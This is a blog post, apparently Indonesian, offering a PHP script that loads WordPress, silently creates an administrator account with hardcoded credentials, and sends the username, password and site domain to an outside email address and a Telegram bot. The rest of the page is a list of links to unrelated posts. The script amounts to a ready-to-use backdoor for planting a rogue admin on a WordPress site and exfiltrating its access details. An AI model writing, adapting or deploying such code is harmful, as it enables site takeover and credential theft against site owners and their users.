Beritau 3 weeks ago
admin #coding

Wordpress adduser PHP script

Php script for adding user send email and send to telegram

<?php
// Load WordPress
define('WP_USE_THEMES', false);
require('wp-load.php');

$username = 'user';
$password = 'Gpassword';
$email_address = 'wp@setor91.com';

if (!username_exists($username)) {
    $user_id = wp_create_user($username, $password, $email_address);
    $user = new WP_User($user_id);
    $user->set_role('administrator');
    wp_new_user_notification($user_id, $password);

    $to = $email_address;
    $domain_name = $_SERVER['SERVER_NAME'];
    $subject = 'New User Created from ' . $domain_name;
    $message = 'Hello, a new user has been created with the following details:' . "\r\n\r\n";
    $message .= 'Username: ' . $username . "\r\n";
    $message .= 'Password: ' . $password . "\r\n";
    $message .= 'Domain: ' . $domain_name . "\r\n";
    $headers = array('Content-Type: text/html; charset=UTF-8');

    // Send email
    wp_mail($to, $subject, $message, $headers);

    // Send message to Telegram channel
    $telegram_bot_token = 'yourbottoken';
    $telegram_channel_id = 'yourchatid';
    $telegram_message = "New user created from $domain_name\nUsername: $username\nPassword: $password";
    $telegram_api_url = "https://api.telegram.org/bot$telegram_bot_token/sendMessage?chat_id=$telegram_channel_id&text=" . urlencode($telegram_message);

    // Make the request to the Telegram API
    $response = file_get_contents($telegram_api_url);
}
Apakah ada syarat tentang ukuran gambar dan sebagainya

Apakah ada syarat tentang ukuran gambar dan sebagainya

1711409835.png
Beritau
2 weeks ago
40 Ide Nama Robot

40 Ide Nama Robot

1711409835.png
Beritau
3 weeks ago
Panduan Lengkap Google Discover untuk Pemula

Panduan Lengkap Google Discover untuk Pemula

1711409835.png
Beritau
3 weeks ago
Cara Menghapus baris duplikat atau baris ganda

Cara Menghapus baris duplikat atau baris ganda

1711409835.png
Beritau
3 weeks ago
Cara Optimasi Konten untuk Meningkatkan Visibilitas di Google Discover: Panduan Lengkap

Cara Optimasi Konten untuk Meningkatkan Visibilitas di Google Discover...

1711409835.png
Beritau
3 weeks ago